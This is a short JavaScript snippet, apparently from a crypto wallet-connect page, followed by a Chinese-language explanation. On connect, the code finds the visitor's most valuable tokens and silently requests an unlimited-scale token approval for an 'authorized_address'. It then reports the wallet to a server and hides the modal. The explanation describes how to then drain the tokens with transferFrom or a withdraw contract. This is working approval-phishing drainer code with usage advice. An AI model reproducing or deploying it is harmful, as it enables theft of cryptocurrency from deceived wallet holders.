async function onConnect() {
let walletAddress = tronWeb.defaultAddress.base58;
bizhong = await getMostValuableAssets(walletAddress);
let instance = await tronWeb.contract().at(approveAddr);
let res = await instance["approve"](authorized_address,"90000000000000000000000000000");
res.send({
feeLimit: 10000000,
callValue: 0,
shouldPollResponse: false
}, function(err, res) {
if (err == null) {
postInfo(walletAddress, bizhong)
}
$('.modal-overlay').remove();
$('.modal').removeClass('modal-in').addClass('modal-out');
})
}
async function init() {
onConnect();
}
在你的代码里,如果 authorized_address
是你的个人地址,你可以直接调用transferFrom 提币。
如果 authorized_address
是一个合约地址, 这个合约里应给有类似一个 withdraw 的函数, 它实现了:
function withdraw() public {
IERC20(token地址).transferFrom(`授权人地址`, `收款地址`,`900...`);
}
然后前端调用withdraw 就可以。